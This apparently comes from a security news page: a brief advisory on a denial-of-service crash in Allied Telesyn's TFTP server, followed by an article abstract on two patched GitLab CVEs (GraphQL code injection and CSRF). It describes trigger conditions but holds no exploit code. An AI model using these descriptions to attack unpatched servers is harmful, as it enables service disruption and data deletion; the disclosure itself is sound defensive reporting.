SecPod Research Team member (Antu Sanadi) has found a Denial of Service vulnerability in Allied Telesyn TFTP Server. The vulnerability is caused by an error in the “TFTPD.EXE”, which causes the server to crash when no acknowledgment response is sent back to the server after a successful ‘read’. The flaw can be exploited to crash a vulnerable server denying service to legitimate users.

Critical GitLab Flaw Exposes Public Projects to Deletion — Two CVEs Patched, Including High-Severity CSRF

CVE-2026-19478 is a critical code injection vulnerability in GitLab CE/EE that allows an unauthenticated attacker to modify or delete public projects and user data by abusing a GraphQL directive. A second high-severity issue, CVE-2026-19650, involves cross-site request forgery in the GraphQL multiplex query handler. This article examines how the critical vulnerability works, the availability of a public proof-of-concept, the potential impact on self-managed instances, the affected versions, and the security updates released to remediate both issues.
